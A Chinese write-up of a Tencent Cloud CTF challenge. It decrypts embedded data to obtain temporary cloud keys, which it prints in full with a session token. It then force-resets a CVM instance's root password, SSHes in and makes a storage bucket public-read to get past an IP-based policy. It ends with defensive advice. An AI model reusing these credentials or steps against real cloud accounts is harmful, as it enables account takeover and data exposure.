腾讯云安全挑战赛第一期wp
字数 1258 2025-09-23 19:27:38

腾讯云安全挑战赛第一期Writeup:COS提权与利用技术分析

概述

本文基于腾讯云安全挑战赛第一期的实战题目,详细分析通过加密凭证获取、权限提升及云服务利用的全过程。题目涉及加密数据解密、临时密钥利用、云API操作及权限绕过技术,重点考察对腾讯云API及安全策略的理解。


一、加密数据处理与解密

1.1 加密数据识别

提供的Python脚本包含以下核心组件:

  • 密钥KEY = b"Lxnt1evByMdubwx9"
  • 加密数据DATA数组包含多个Base64编码的字符串
  • 解密方法:使用AES-ECB模式PKCS5填充解密

1.2 解密脚本分析

def aes_ecb_pkcs5_decrypt(b64s: str) -> str:
    raw = base64.b64decode(b64s)
    # 尝试使用pycryptodome库解密
    # 尝试使用cryptography库解密
    return dec.decode("utf-8", errors="replace")

def deobfuscate_xor_from_b64(s: str) -> str:
    data = base64.b64decode(s)
    data = bytes(b ^ 0x23 for b in data)  # XOR解密(密钥0x23)
    return data.decode("utf-8", errors="replace")

1.3 解密结果

运行脚本后得到以下关键信息:

  • AccessKey (AK)AKIDFG840k8ov09ZfQ6VdlfW-7Xpyyn0Uuak6bH_YS1CqANS0iZ995r00MAXrPhbEjVX
  • SecretKey (SK)/HihyTU6/YmEf8nD1ujPZi8DthZiI7b+9eZKS76jpAg=
  • Session Token:长临时令牌(具体见原始数据)

二、云API凭证配置

2.1 配置腾讯云CLI

tccli configure
# 依次输入AK、SK、区域(ap-guangzhou)、输出格式(json)

2.2 配置AWS CLI(兼容S3协议)

# ~/.aws/config
[default]
region = ap-guangzhou
s3 =
    endpoint_url = https://cos.ap-guangzhou.myqcloud.com
    addressing_style = virtual  # 必须使用虚拟托管样式

# ~/.aws/credentials
[default]
aws_access_key_id = AKIDrGuURY3ThyLSMqDsEv1ecnGSsRP0m0krNNUWUgTvqr_IitXJvmdelZq8dx5XEtt3
aws_secret_access_key = q9wsCzWhmEp3E/DvDhld/MMiuDo8yTn0shcpM7wBB1o=
aws_session_token = ukN1JfAFyFEJbyw3cdc5TTdUzPBhknna27c03053a861748506b924176014da27MuPprHAIl3oB2kxiKigKZ3oP1nsJz1BPLiljMlfGOSIlVWWb9uk_wtk1LKFaWPcJUJ44PxuPnc_f3dRc26dfmvJnOxgtmzdfjeZMsyq0iUbwcO1Be0_UlwREY9GPw4hvvUqdUkv6SJyb-6yVNoDA0hXnUBUgEKFRCGAJ7bs5_8tq_gok265jvp7Nes1NJ_ZEedEff4Tzd5iXb6Ix1ZSyGe4Yy4TJEcs2ixHvSXsCpqNLNSCR1JDSOG66GrfAqO0bC-uvsVrwva49kxchxWa_NR9cRaSoSumJE-N2siJ2pUZhDuqvNBUujkbHKo6Tqtg7Z8-mLjmfxZOY3HhJZOoR73Drqhpt6ILX4IcEuoNyOEQ9lkjg10lW_OoCKQmv__Iey6_9IqWYfIVgOwChCYGzhD-TrEHmjGickxNXzG3qKEez8YTWc973G7UhBplySXuq0oziGVjfWOxQ3MqocCTsyONWyZHsIo9RdnsZNuzvMFyR6JBgc-2l1r2p5hNunusTalPtZWsi0nBj3Co0ZRDe_OQqv6Xkbpn4eVgiryKLKwH4iTid2nCTBY9kDj0tS76_U_QVlLIK3zagu5xF3RR37Xy3BE_29q-XkbX8S0nNM1wwUAVO6L_zWUMUwaWu2UkDab1OXi-RV98a8N6bs9WCtA

三、权限探测与绕过

3.1 获取当前身份信息

tccli sts GetCallerIdentity
# 返回结果包含:
# - AccountId: 100026992078
# - UserId: 100043488407:challenge_01_xkeb6gd9n2ee
# - PrincipalId: 100043488407

3.2 分析Bucket策略

aws s3api get-bucket-policy --bucket 21cf8bc7bq56-1313380398 \
  --endpoint-url http://cos.ap-guangzhou.myqcloud.com

策略内容显示:

  • 拒绝操作cos:PutBucketACL
  • 条件限制:IP不在43.138.212.54172.16.0.22时拒绝
  • 主体:当前用户ID

3.3 列举CVM实例

通过API列举当前账户下的云服务器实例,发现关键目标:

  • 实例IDins-hc0ktysk
  • 内网IP172.16.0.22(符合Bucket策略允许的IP)
  • 登录配置:未设置密码、未绑定密钥,默认用户root

四、权限提升与利用

4.1 密码重置绕过

由于直接停止实例权限不足,使用腾讯云Python SDK强制重置密码:

from tencentcloud.common.common_client import CommonClient
from tencentcloud.common import credential

cred = credential.Credential("AKID", "SK", "TOKEN")
params = {
    "InstanceIds": ["ins-hc0ktysk"],
    "Password": "Aa112211.",  # 设置新密码
    "UserName": "root",
    "ForceStop": True  # 强制停止实例
}
common_client = CommonClient("cvm", "2017-03-12", cred, "ap-guangzhou")
common_client.call_json("ResetInstancesPassword", params)

4.2 登录目标实例

通过SSH登录获取控制权:

ssh root@119.29.168.151  # 使用重置后的密码

4.3 修改Bucket ACL

在授权IP环境下执行ACL修改:

aws s3api put-bucket-acl --bucket 21cf8bc7bq56-1313380398 \
  --acl public-read \
  --endpoint-url https://cos.ap-guangzhou.myqcloud.com

五、关键技术点总结

  1. 加密逆向

    • AES-ECB模式Base64加密数据解密
    • XOR异或解码(0x23密钥)
  2. 云API利用

    • 临时凭证的配置与验证
    • S3协议兼容性操作COS
  3. 权限绕过

    • 利用IP条件策略的缺陷
    • 通过CVM实例作为跳板
  4. 提权技术

    • 强制重置密码绕过权限限制
    • 利用内网IP满足策略条件

六、防御建议

  1. 临时凭证管理

    • 限制临时密钥的作用范围和有效期
    • 避免在代码中硬编码密钥
  2. 权限最小化

    • 遵循最小权限原则分配策略
    • 避免使用通配符资源路径
  3. 网络隔离

    • 关键资源应限制在内网访问
    • 使用安全组和网络ACL限制IP
  4. 操作审计

    • 启用CloudTrail或审计日志功能
    • 监控异常API调用行为

通过以上分析,该挑战赛题目全面覆盖了云安全中的密钥管理、权限控制和漏洞利用技术,对云安全防护体系建设具有重要参考价值。

腾讯云安全挑战赛第一期Writeup:COS提权与利用技术分析 概述 本文基于腾讯云安全挑战赛第一期的实战题目,详细分析通过加密凭证获取、权限提升及云服务利用的全过程。题目涉及加密数据解密、临时密钥利用、云API操作及权限绕过技术,重点考察对腾讯云API及安全策略的理解。 一、加密数据处理与解密 1.1 加密数据识别 提供的Python脚本包含以下核心组件: 密钥 : KEY = b"Lxnt1evByMdubwx9" 加密数据 : DATA 数组包含多个Base64编码的字符串 解密方法 :使用AES-ECB模式PKCS5填充解密 1.2 解密脚本分析 1.3 解密结果 运行脚本后得到以下关键信息: AccessKey (AK) : AKIDFG840k8ov09ZfQ6VdlfW-7Xpyyn0Uuak6bH_YS1CqANS0iZ995r00MAXrPhbEjVX SecretKey (SK) : /HihyTU6/YmEf8nD1ujPZi8DthZiI7b+9eZKS76jpAg= Session Token :长临时令牌(具体见原始数据) 二、云API凭证配置 2.1 配置腾讯云CLI 2.2 配置AWS CLI(兼容S3协议) 三、权限探测与绕过 3.1 获取当前身份信息 3.2 分析Bucket策略 策略内容显示: 拒绝操作 : cos:PutBucketACL 条件限制 :IP不在 43.138.212.54 或 172.16.0.22 时拒绝 主体 :当前用户ID 3.3 列举CVM实例 通过API列举当前账户下的云服务器实例,发现关键目标: 实例ID : ins-hc0ktysk 内网IP : 172.16.0.22 (符合Bucket策略允许的IP) 登录配置 :未设置密码、未绑定密钥,默认用户 root 四、权限提升与利用 4.1 密码重置绕过 由于直接停止实例权限不足,使用腾讯云Python SDK强制重置密码: 4.2 登录目标实例 通过SSH登录获取控制权: 4.3 修改Bucket ACL 在授权IP环境下执行ACL修改: 五、关键技术点总结 加密逆向 : AES-ECB模式Base64加密数据解密 XOR异或解码(0x23密钥) 云API利用 : 临时凭证的配置与验证 S3协议兼容性操作COS 权限绕过 : 利用IP条件策略的缺陷 通过CVM实例作为跳板 提权技术 : 强制重置密码绕过权限限制 利用内网IP满足策略条件 六、防御建议 临时凭证管理 : 限制临时密钥的作用范围和有效期 避免在代码中硬编码密钥 权限最小化 : 遵循最小权限原则分配策略 避免使用通配符资源路径 网络隔离 : 关键资源应限制在内网访问 使用安全组和网络ACL限制IP 操作审计 : 启用CloudTrail或审计日志功能 监控异常API调用行为 通过以上分析,该挑战赛题目全面覆盖了云安全中的密钥管理、权限控制和漏洞利用技术,对云安全防护体系建设具有重要参考价值。